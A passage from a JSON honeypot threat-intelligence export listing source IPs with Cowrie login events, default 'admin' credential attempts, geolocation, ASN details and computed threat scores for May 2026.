      "attack_count": 3,
      "first_seen": "2026-05-22T03:22:34.314Z",
      "last_seen": "2026-05-22T03:23:37.179Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 210457,
      "as_org": "Kyonix Networks Limited",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T03:22:34.314000+00:00",
        "last_seen_30d": "2026-05-22T03:24:46.352000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "43.106.90.118": {
      "attack_count": 3,
      "first_seen": "2026-05-17T08:48:30.237Z",
      "last_seen": "2026-05-17T08:49:30.682Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 11.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T08:48:30.237000+00:00",
        "last_seen_30d": "2026-05-17T08:50:34.773000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "82.24.64.32": {
      "attack_count": 3,
      "first_seen": "2026-05-13T16:40:53.402Z",
      "last_seen": "2026-05-13T16:41:56.314Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 395793,
      "as_org": "Arisk Communications inc.",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-13T16:40:53.402000+00:00",
        "last_seen_30d": "2026-05-13T23:51:26.988000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Tanner": 44,
        "Cowrie": 3
      }
    },
    "100.2.253.94": {
      "attack_count": 2,
      "first_seen": "2026-05-18T13:17:03.303Z",
      "last_seen": "2026-05-18T13:17:15.587Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Queens",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T13:17:03.303000+00:00",
        "last_seen_30d": "2026-05-18T13:18:20.049000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "101.108.74.177": {
      "attack_count": 2,
      "first_seen": "2026-05-08T03:42:13.868Z",
      "last_seen": "2026-05-08T03:42:27.284Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:42:13.868000+00:00",
        "last_seen_30d": "2026-05-08T03:43:29.584000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.180.94.81": {
      "attack_count": 2,
      "first_seen": "2026-05-07T15:18:18.747Z",
      "last_seen": "2026-05-07T15:18:33.670Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137095,
      "as_org": "Dm Lot Infotech Solutions Private Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T15:18:18.747000+00:00",
        "last_seen_30d": "2026-05-07T15:19:39.060000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.200.173.154": {
      "attack_count": 2,
      "first_seen": "2026-05-09T07:23:05.640Z",
      "last_seen": "2026-05-09T07:23:19.253Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Quezon City",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T07:23:05.640000+00:00",
        "last_seen_30d": "2026-05-09T07:24:24.150000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.221.78.183": {
      "attack_count": 2,
      "first_seen": "2026-05-22T17:07:49.646Z",
      "last_seen": "2026-05-22T17:08:23.484Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:07:49.646000+00:00",
        "last_seen_30d": "2026-05-22T17:09:30.115000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.138.104.214": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:22:20.175Z",
      "last_seen": "2026-05-23T10:22:56.956Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:22:20.175000+00:00",
        "last_seen_30d": "2026-05-23T10:23:59.935000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.173.165.159": {
      "attack_count": 2,
      "first_seen": "2026-05-07T11:14:56.157Z",
      "last_seen": "2026-05-07T11:15:09.540Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Phuket",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T11:14:56.157000+00:00",
        "last_seen_30d": "2026-05-07T11:16:17.729000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.163.214.151": {
      "attack_count": 2,
      "first_seen": "2026-05-19T06:35:42.235Z",
      "last_seen": "2026-05-19T06:35:57.329Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:35:42.235000+00:00",
        "last_seen_30d": "2026-05-19T06:37:03.050000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.0.215.117": {
      "attack_count": 2,
      "first_seen": "2026-05-19T06:31:21.372Z",
      "last_seen": "2026-05-19T06:31:34.505Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Zhongli District",
      "asn": 131596,
      "as_org": "TBC",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:31:21.372000+00:00",
        "last_seen_30d": "2026-05-19T06:32:39.223000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.97.255.195": {
      "attack_count": 2,
      "first_seen": "2026-05-12T17:23:12.270Z",
      "last_seen": "2026-05-12T17:23:24.314Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Phuket",
      "asn": 17552,
      "as_org": "True Online",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T17:23:12.270000+00:00",
        "last_seen_30d": "2026-05-12T17:24:25.760000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.11.215.119": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:35:41.030Z",
      "last_seen": "2026-05-23T02:36:08.143Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:35:41.030000+00:00",
        "last_seen_30d": "2026-05-23T02:37:11.991000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.67.176.144": {
      "attack_count": 2,
      "first_seen": "2026-05-02T20:46:29.838Z",
      "last_seen": "2026-05-02T20:46:42.644Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ara\u00e7u",
      "asn": 262523,
      "as_org": "HD2 TELECOMUNICACOES LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T20:46:29.838000+00:00",
        "last_seen_30d": "2026-05-02T20:47:51.353000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.222.167.210": {
      "attack_count": 2,
      "first_seen": "2026-05-13T03:32:41.299Z",
      "last_seen": "2026-05-13T03:32:54.601Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Jundia\u00ed",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T03:32:41.299000+00:00",
        "last_seen_30d": "2026-05-13T03:33:58.098000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.103.35.134": {
      "attack_count": 2,
      "first_seen": "2026-05-13T04:35:10.126Z",
      "last_seen": "2026-05-13T04:35:42.387Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T04:35:10.126000+00:00",
        "last_seen_30d": "2026-05-13T04:36:52.217000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "180.115.84.211": {
      "attack_count": 2,
      "first_seen": "2026-05-26T22:39:32.601Z",
      "last_seen": "2026-05-26T22:39:44.921Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T22:39:32.601000+00:00",
        "last_seen_30d": "2026-05-26T22:40:51.382000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.190.55.188": {
      "attack_count": 2,
      "first_seen": "2026-05-07T12:01:08.317Z",
      "last_seen": "2026-05-07T12:01:29.607Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Cebu City",
      "asn": 4775,
      "as_org": "Globe Telecoms",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T12:01:08.317000+00:00",
        "last_seen_30d": "2026-05-07T12:02:43.592000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.206.13.102": {
      "attack_count": 2,
      "first_seen": "2026-05-24T19:43:28.514Z",
      "last_seen": "2026-05-24T19:45:28.516Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Curitiba",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T19:43:28.514000+00:00",
        "last_seen_30d": "2026-05-24T19:47:18.444000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "190.83.114.185": {
      "attack_count": 2,
      "first_seen": "2026-05-23T17:48:12.025Z",
      "last_seen": "2026-05-23T17:48:15.704Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Presidente Franco",
      "asn": 269930,
      "as_org": "CAMPOS FARIAS GUILHERME",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T02:53:46.063000+00:00",
        "last_seen_30d": "2026-05-23T17:49:25.529000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "196.117.100.236": {
      "attack_count": 2,
      "first_seen": "2026-05-03T22:22:51.661Z",
      "last_seen": "2026-05-03T22:23:05.210Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 36925,
      "as_org": "ASMedi",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T22:22:51.661000+00:00",
        "last_seen_30d": "2026-05-03T22:24:11.678000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.218.240.133": {
      "attack_count": 2,
      "first_seen": "2026-05-14T01:33:24.628Z",
      "last_seen": "2026-05-14T01:33:24.931Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": null,
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T01:33:24.628000+00:00",
        "last_seen_30d": "2026-05-14T01:34:26.370000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "200.105.158.188": {
      "attack_count": 2,
      "first_seen": "2026-05-18T14:19:37.419Z",
      "last_seen": "2026-05-18T14:19:50.449Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "La Paz",
      "asn": 26210,
      "as_org": "AXS Bolivia S. A.",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T14:19:37.419000+00:00",
        "last_seen_30d": "2026-05-18T14:20:54.267000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.82.188.143": {
      "attack_count": 2,
      "first_seen": "2026-05-05T20:24:26.370Z",
      "last_seen": "2026-05-05T20:24:38.774Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Coro",
      "asn": 21826,
      "as_org": "Corporacion Telemic C.A.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T20:24:26.370000+00:00",
        "last_seen_30d": "2026-05-05T20:25:48.662000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.182.248.71": {
      "attack_count": 2,
      "first_seen": "2026-05-04T01:38:49.101Z",
      "last_seen": "2026-05-04T01:39:02.306Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Cali",
      "asn": 267708,
      "as_org": "SP SISTEMAS PALACIOS LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T01:38:49.101000+00:00",
        "last_seen_30d": "2026-05-04T01:40:03.993000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.172": {
      "attack_count": 2,
      "first_seen": "2026-05-15T00:35:17.088Z",
      "last_seen": "2026-05-15T00:35:17.427Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 74.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 29,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T05:40:15.526000+00:00",
        "last_seen_30d": "2026-05-30T05:34:09.843000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 39,
        "Honeytrap": 15,
        "Cowrie": 2
      }
    },
    "222.246.41.179": {
      "attack_count": 2,
      "first_seen": "2026-05-27T09:02:56.180Z",
      "last_seen": "2026-05-27T09:03:09.518Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T09:02:56.180000+00:00",
        "last_seen_30d": "2026-05-27T09:04:19.639000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.200.22.169": {
      "attack_count": 2,
      "first_seen": "2026-05-06T19:13:22.374Z",
      "last_seen": "2026-05-06T19:13:34.284Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Ankara",
      "asn": 12978,
      "as_org": "Andromeda Tv Digital Platform Isletmeciligi A.s.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
